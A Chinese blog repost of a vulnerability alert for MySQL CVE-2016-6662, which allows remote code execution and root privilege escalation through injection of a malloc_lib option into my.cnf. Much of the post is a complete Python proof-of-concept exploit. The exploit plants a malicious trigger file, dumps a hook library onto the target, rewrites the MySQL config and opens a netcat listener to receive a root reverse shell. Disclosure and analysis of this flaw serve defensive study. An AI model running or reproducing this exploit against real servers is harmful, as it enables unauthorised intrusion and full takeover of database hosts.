mysql 漏洞_【重大漏洞预警】Mysql代码执行漏洞,可本地提权(含exp)

概要

Mysql (5.7, 5.6, 和 5.5版本)的所有默认安装配置,包括最新的版本,攻击者可以远程和本地利用该漏洞。该漏洞需要认证访问MYSQL数据库(通过网络连接或者像phpMyAdmin的web接口),以及通过SQL注入利用。攻击者成功利用该漏洞可以以ROOT权限执行代码,完全控制服务器。

利用条件:首先你要有一个Mysql低权限用户,仅需有FIle权限(例如:虚拟主机通常会提供,因为需要导入导出文件),即可实现Root权限提升,进而控制服务器

漏洞影响

MySQL <= 5.7.15 远程代码执行/ 提权 (0day)

5.6.33

5.5.52

Mysql分支的版本也受影响,包括:

MariaDB

PerconaDB

漏洞介绍

这 个漏洞影响(5.7, 5.6, 和 5.5版本)的所有Mysql默认配置,包括最新的版本,攻击者可以远程和本地利用该漏洞。该漏洞需要认证访问MYSQL数据库(通过网络连接或者像 phpMyAdmin的web接口),以及通过SQL注入利用。攻击者成功利用该漏洞可以以ROOT权限执行代码,完全控制服务器。

漏洞描述

先看下我本地的MYSQL版本信息

df77b4bb85574e177f6e5299714a99c5.png

之后启动Mysql服务器

root@debian:~# service mysql start

查看mysql的进程信息

275bb311c7d1aea3c35f77700182e010.png

我们可以看到mysqld_safe的wrapper(封装)脚本是root权限执行的,而主要的mysqld进程确实mysql用户权限执行的。

我们看看该脚本

31665eeba8923448e3057326578cf0b9.png

通过手册我们可以得知--malloc-lib=LIB 选项可以加载一个so文件,如果攻击者可以注入路径信息到配置文件,就可以在MYSQL服务重启的时候,执行任意代码。

从2003开始,默认通过SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'是不能覆写文件的,但是我们可以利用mysql logging(MySQL )功能绕过outfile/dumpfile重写文件的保护,攻击者需要 SELECT/FILE 权限 。

依赖于mysql的版本,相应的配置文件也不同

比如mysql5.5

e5b1a36fa07704e51e363a310ed09993.png

我们通过覆写/etc/my.cnf注入malloc_lib=路径选项,命令如下:

70d86ae1b3a7f3e6fbe3b5c0fce819df.png

注意:修改配置文件后,会导致mysql重启的时候失败。

注入后的my.cnf文件包含:

[mysqld]

malloc_lib=/tmp/mysql_exploit_lib.so

mysqld_safe也载入配置文件从mysql的data目录,(/var/lib/mysql/my.cnf),这个功能从mysql 5.7移除,不再加载,所以即使mysql用户没有权限修改/etc/my.cnf,也可以通过下面的文件来加载

/var/lib/mysql/my.cnf

/var/lib/mysql/.my.cnf

即使没有dba权限,也可以通过触发器来覆写文件

04995d07c17945a46c099f62a804d85d.png

触发器写入成功后,刷新的时候会载入,比如通过执行一个insert语句来刷新

INSERT INTO `active_table` VALUES('xyz');

漏洞POC:

----------[ 0ldSQL_MySQL_RCE_exploit.py ]--------------

#!/usr/bin/python

# This is a limited version of the PoC exploit. It only allows appending to

# existing mysql config files with weak permissions. See V) 1) section of

# the advisory for details on this vector.

#

# Full PoC will be released at a later date, and will show how attackers could

# exploit the vulnerability on default installations of MySQL on systems with no

# writable my.cnf config files available.

#

# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial

# for certain low-privileged attackers that do not have FILE privilege.

#

# See full advisory for details:

# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt

#

# Stay tuned ;)

intro = """

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)

(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski

http://legalhackers.com

"""

import argparse

import mysql.connector

import binascii

import subprocess

def info(str):

print "[+] " + str + "\n"

def errmsg(str):

print "[!] " + str + "\n"

def shutdown(code):

if (code==0):

info("Exiting (code: %d)\n" % code)

else:

errmsg("Exiting (code: %d)\n" % code)

exit(code)

cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"

process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

(result, error) = process.communicate()

rc = process.wait()

# where will the library to be preloaded reside? /tmp might get emptied on reboot

# /var/lib/mysql is safer option (and mysql can definitely write in there ;)

malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'

# Main Meat

print intro

# Parse input args

parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')

parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username')

parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')

parser.add_argument('-dbname', dest='TARGET_DB', required=True, help='Remote MySQL database name')

parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')

parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')

args = parser.parse_args()

# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions

# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)

info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))

try:

dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)

except mysql.connector.Error as err:

errmsg("Failed to connect to the target: {}".format(err))

shutdown(1)

try:

cursor = dbconn.cursor()

cursor.execute("SHOW GRANTS")

except mysql.connector.Error as err:

errmsg("Something went wrong: {}".format(err))

shutdown(2)

privs = cursor.fetchall()

info("The account in use has the following grants/perms: " )

for priv in privs:

print priv[0]

print ""

# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld

# process execution and run our code (Remote Root Shell)

# Remember to match the architecture of the target (not your machine!) otherwise the library

# will not load properly on the target.

info("Compiling mysql_hookandroot_lib.so")

cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"

process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

(result, error) = process.communicate()

rc = process.wait()

if rc != 0:

errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)

print error

shutdown(2)

# Load mysql_hookandroot_lib.so library and encode it into HEX

info("Converting mysql_hookandroot_lib.so into HEX")

hookandrootlib_path = './mysql_hookandroot_lib.so'

with open(hookandrootlib_path, 'rb') as f:

content = f.read()

hookandrootlib_hex = binascii.hexlify(content)

# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG

# Decoded payload (paths may differ):

"""

DELIMITER //

CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf

AFTER INSERT

ON `poctable` FOR EACH ROW

BEGIN

DECLARE void varchar(550);

set global general_log_file='/var/lib/mysql/my.cnf';

set global general_log = on;

select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]

malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]

" INTO void;

set global general_log = off;

END; //

DELIMITER ;

"""

trigger_payload="""TYPE=TRIGGERS

triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n DECLARE void varchar(550);\\n set global general_log_file=\\'%s\\';\\n set global general_log = on;\\n select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void; \\n set global general_log = off;\\n\\nEND'

sql_modes=0

definers='root@localhost'

client_cs_names='utf8'

connection_cl_names='utf8_general_ci'

db_cl_names='latin1_swedish_ci'

""" % (args.TARGET_MYCNF, malloc_lib_path)

# Convert trigger into HEX to pass it to unhex() SQL function

trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)

# Save trigger into a trigger file

TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB

info("Saving trigger payload into %s" % (TRG_path))

try:

cursor = dbconn.cursor()

cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )

except mysql.connector.Error as err:

errmsg("Something went wrong: {}".format(err))

shutdown(4)

# Save library into a trigger file

info("Dumping shared library into %s file on the target" % malloc_lib_path)

try:

cursor = dbconn.cursor()

cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )

except mysql.connector.Error as err:

errmsg("Something went wrong: {}".format(err))

shutdown(5)

# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server

info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")

try:

cursor = dbconn.cursor()

cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" )

except mysql.connector.Error as err:

errmsg("Something went wrong: {}".format(err))

shutdown(6)

# Finally, execute the trigger's payload by inserting anything into `poctable`.

# The payload will write to the mysql config file at this point.

info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )

try:

cursor = dbconn.cursor()

cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )

except mysql.connector.Error as err:

errmsg("Something went wrong: {}".format(err))

shutdown(6)

# Check on the config that was just created

info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )

try:

cursor = dbconn.cursor()

cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)

except mysql.connector.Error as err:

errmsg("Something went wrong: {}".format(err))

shutdown(2)

finally:

dbconn.close() # Close DB connection

print ""

myconfig = cursor.fetchall()

print myconfig[0][0]

info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")

# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)

info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )

listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])

listener.communicate()

print ""

# Show config again after all the action is done

info("Shell closed. Hope you had fun. ")

# Mission complete, but just for now... Stay tuned :)

info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")

# Shutdown

shutdown(0)

摘自E安全

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值